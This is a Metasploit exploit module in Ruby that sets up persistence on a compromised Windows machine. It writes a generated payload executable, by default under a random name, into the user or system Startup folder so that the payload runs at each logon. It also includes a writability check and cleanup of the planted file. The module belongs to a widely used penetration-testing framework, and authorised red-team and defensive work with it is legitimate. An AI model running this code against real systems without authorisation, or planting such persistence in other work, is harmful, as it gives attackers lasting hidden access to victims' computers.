startup_folder.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Persistent Startup Folder',
        'Description' => %q{
          This module establishes persistence by creating a payload in the user or system startup folder.
          Works on Vista and newer systems.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'h00die' ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['URL', 'https://support.microsoft.com/en-us/windows/configure-startup-applications-in-windows-115a420a-0bff-4a6f-90e0-1934c844e473']
        ],
        'DisclosureDate' => '1995-01-01', # windows 95
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
        OptEnum.new('CONTEXT', [false, 'Target current User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ])
      ]
    )
  end

  def folder
    if datastore['CONTEXT'] == 'USER'
      f = session.sys.config.getenv('%userprofile%')
      f = "#{f}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
      return f
    end
    f = session.sys.config.getenv('%ProgramData%')
    "#{f}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
  end

  def check
    f = folder
    begin
      # windows only ps payloads have writable? so try that first
      return CheckCode::Safe("Unable to write to #{f}") unless writable?(f)
    rescue RuntimeError
      filename = f + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
      write_file(filename, '')
      if exists? filename
        rm_f(filename)
        return CheckCode::Appears("Likely exploitable, able to write test file to #{f}")
      else
        return CheckCode::Safe("Unable to write to #{f}")
      end
    end

    CheckCode::Appears('Likely exploitable')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    payload_exe = generate_payload_exe
    payload_pathname = folder + '\\' + payload_name + '.exe'
    vprint_good("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
    @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
  end
end